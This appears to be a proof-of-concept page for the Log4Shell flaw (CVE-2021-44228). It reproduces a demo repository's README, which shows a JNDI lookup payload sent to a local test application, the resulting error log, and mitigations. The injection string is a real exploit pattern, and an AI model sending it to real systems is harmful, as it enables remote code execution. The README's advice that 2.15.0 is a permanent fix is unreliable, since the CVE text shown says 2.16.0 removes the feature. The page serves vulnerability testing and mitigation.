CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source

https://github.com/sandarenu/log4j2-issue-check

Associated Vulnerability

Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Description

Demo project to evaluate Log4j2 Vulnerability | CVE-2021-44228

Readme

# Evaluate the Log4Shell: RCE 0-day  Issue

This repo contains the code to evaluate Log4j2 issue CVE-2021-44228 

## More details

* https://www.lunasec.io/docs/blog/log4j-zero-day/

## How to Test

Send GET request with query parameter as `${jndi:ldap://127.0.0.1:3089/}`. 

```
http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D
```

When above request is sent application tries to connect to ldap url and following errror is printed since that 
is not running in my machine. 

```
2021-12-14 09:10:25,055 http-nio-10000-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1:3089/]. javax.naming.CommunicationException: 127.0.0.1:3089 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
	at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:237)
	at java.naming/com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
	at java.naming/com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1610)
	at java.naming/com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2752)
	at java.naming/com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:320)
	at java.naming/com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
	at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:204)
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
	at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
	at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
	at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
```

## Temporary Fix

### Fix 1

If the `log4j-core` version is `>=2.10` by adding following JVM parameter this JNDI lookup can be disabled.

```
-Dlog4j2.formatMsgNoLookups=true
```

### Fix 2

We can update the `log4j2.xml` file with `{nolookups}` in log message pattern. Check branch `update-log4j2-config` for the fix.

## Permanent Fix

* Update the log4j version to `2.15.0`. Check the fix in branch `update-log4j-to-2.15.0`

File Snapshot


 [4.0K]  /data/pocs/f2daf7abde05d97ca530134a7b728065997ee16e
├── [1.8K]  pom.xml
├── [2.2K]  README.md
└── [4.0K]  src
    └── [4.0K]  main
        ├── [4.0K]  java
        │   └── [4.0K]  org
        │       └── [4.0K]  sansoft
        │           └── [4.0K]  log4j2issuecheck
        │               ├── [ 341]  Log4j2IssueCheckApplication.java
        │               └── [ 685]  TestController.java
        └── [4.0K]  resources
            ├── [  18]  application.properties
            └── [1.3K]  log4j2.xml

7 directories, 6 files

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